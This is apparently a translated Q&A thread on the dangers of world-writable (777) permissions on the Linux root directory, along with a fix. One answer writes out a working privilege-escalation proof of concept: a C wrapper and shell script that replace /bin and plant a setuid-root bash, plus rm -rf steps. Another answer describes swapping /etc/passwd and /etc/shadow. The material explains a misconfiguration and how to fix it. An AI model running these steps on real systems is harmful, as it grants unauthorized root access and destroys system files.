
Однако большую часть содержимого составляет 755.
Это проблема?
решение1
Интересно, что /
на самом деле позволяет 777
устанавливать разрешения. /
Папка не должна иметь 777
разрешений, так как это означает, что любой пользователь, вошедший в систему, может создавать файлы и папки на /
корневом уровне. Я протестировал это в виртуальной машине, и выНЕ МОГУудалите любую из папок или файлов, которые не 777
являются sudo
, root
или owner
. Разрешения на доступ по-прежнему соблюдаются, как если бы вы попытались получить доступ к /root
самой папке, вам было бы отказано в разрешении. Однако, как говорится, вы все еще можете переместить папку, /root
чтобы /root.old
создать небольшой хаос.
Чтобы исправить это, вы можете запустить, sudo chmod 755 /
чтобы изменить разрешения на те, которые должны быть. Вы также можете запустить, sudo chown root:root /
чтобы просто убедиться, что он принадлежит самому root. НЕ запускайте ни одну из этих команд с параметром -R, так как это приведет к изменению всех файлов и папок в разделе в соответствии с разрешениями и владельцами.
Надеюсь это поможет!
решение2
/
не должно быть доступным для записи всем пользователям
/
возможность записи во всем мире может бытьогромныйпроблема. Имея права на запись в /
, любой пользователь может переместить/переименовать любой файл или каталог в /
. Это означает, что любой пользователь может заменить /etc
, /usr
или любой другой каталог в /
каталогами по своему выбору.
Отказ в обслуживании: тривиальный
Любой пользователь может легко выполнить DoS-атаку вашей системы, переименовав /etc
и /usr
.
Повышение привилегий: немного менее тривиально
Немного сложнее выполнить повышение привилегий. Пользователь может заменить /bin
своей собственной копией, и любой процесс, который затем попытается использовать cp
, или даженачать оболочку, немедленно окажутся в их власти. Все, что нужно сделать пользователю, это дождаться процесса, запущенного как root, чтобы использовать любую команду в /bin
, или пользователя root, чтобы использовать вход в систему, и они в деле.
Пример
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
А потом:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
И в следующий раз, когда root запустит оболочку, вы получите исполняемый файл setuid в своем домашнем каталоге, который вы затем сможете с комфортом использовать для получения прав root в любое удобное время, не оставляя при этом особых следов.
решение3
Нет. Небезопасно /
иметь 777
разрешения (для корневого каталога). Это означает rwxrwxrwx
, что, т. е., каждый пользователь имеет разрешение на запись в корневой каталог.
С этим разрешением каждый пользователь сможет создавать новые подкаталоги, удалять существующие подкаталоги и заменять существующие подкаталоги. Например, злонамеренный пользователь может удалить /bin
(переименовав его в /bin.old
) и создать новый, /bin
принадлежащий ему, содержащий вредоносные исполняемые файлы. Или пользователь может удалить /etc
(переименовав его в /etc.old
) и создать новый, /etc
содержащий новый /etc/passwd
и /etc/shadow
файл, который позволяет пользователю входить в каждую учетную запись в системе.